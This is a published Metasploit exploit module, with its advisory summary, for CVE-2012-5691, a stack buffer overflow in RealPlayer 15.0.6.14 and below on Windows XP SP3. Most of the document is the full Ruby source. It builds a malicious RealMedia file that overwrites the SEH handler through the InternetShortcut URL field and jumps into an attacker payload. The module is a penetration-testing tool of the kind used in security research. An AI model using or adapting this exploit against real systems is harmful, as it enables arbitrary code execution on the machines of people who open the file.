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RealPlayer RealMedia File Handling Buffer Overflow

RealPlayer RealMedia File Handling Buffer Overflow
Posted Dec 28, 2012
Authored by suto | Site metasploit.com

This Metasploit module exploits a stack based buffer overflow on RealPlayer versions 15.0.6.14 and below. The vulnerability exists in the handling of real media files, due to the insecure usage of the GetPrivateProfileString function to retrieve the URL property from an InternetShortcut section. This Metasploit module generates a malicious rm file which must be opened with RealPlayer via drag and drop or double click methods. It has been tested successfully on Windows XP SP3 with RealPlayer 15.0.5.109.

tags | exploit, overflow
systems | windows
advisories | CVE-2012-5691, OSVDB-88486
SHA-256 | f1c623bc1dcad36e79d57718a63066d97b024a30199457832d62e68170935185

RealPlayer RealMedia File Handling Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'RealPlayer RealMedia File Handling Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow on RealPlayer <=15.0.6.14.
The vulnerability exists in the handling of real media files, due to the insecure
usage of the GetPrivateProfileString function to retrieve the URL property from an
InternetShortcut section.

This module generates a malicious rm file which must be opened with RealPlayer via
drag and drop or double click methods. It has been tested successfully on Windows
XP SP3 with RealPlayer 15.0.5.109.
},
'License' => MSF_LICENSE,
'Author' =>
[
'suto <suto[at]vnsecurity.net>' # Vulnerability discovery, metasploit module
],
'References' =>
[
[ 'CVE', '2012-5691' ],
[ 'OSVDB', '88486' ],
[ 'BID', '56956' ],
[ 'URL', 'http://service.real.com/realplayer/security/12142012_player/en/' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d",
'DisableNops' => true,
'Space' => 2000
},
'Targets' =>
[
[ 'Windows XP SP3 / Real Player 15.0.5.109',
{
'Ret' => 0x63f2b4b5, # ppr from rpap3260.dll
'OffsetOne' => 2312, # Open via double click
'OffsetTwo' => 2964 # Open via drag and drop
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Dec 14 2012',
'DefaultTarget' => 0))

register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.rm']),], self.class)

end

def exploit

buffer = payload.encoded
buffer << rand_text(target['OffsetOne'] - buffer.length) # Open the file via double click
buffer << generate_seh_record(target.ret)
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetOne'] + 8}").encode_string
buffer << rand_text(target['OffsetTwo'] - buffer.length) # Open the file via drag and drop to the real player
buffer << generate_seh_record(target.ret)
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetTwo'] + 8}").encode_string
buffer << rand_text(7000) # Generate exception

content = "[InternetShortcut]\nURL="
filecontent = content+buffer

file_create(filecontent)

end
end
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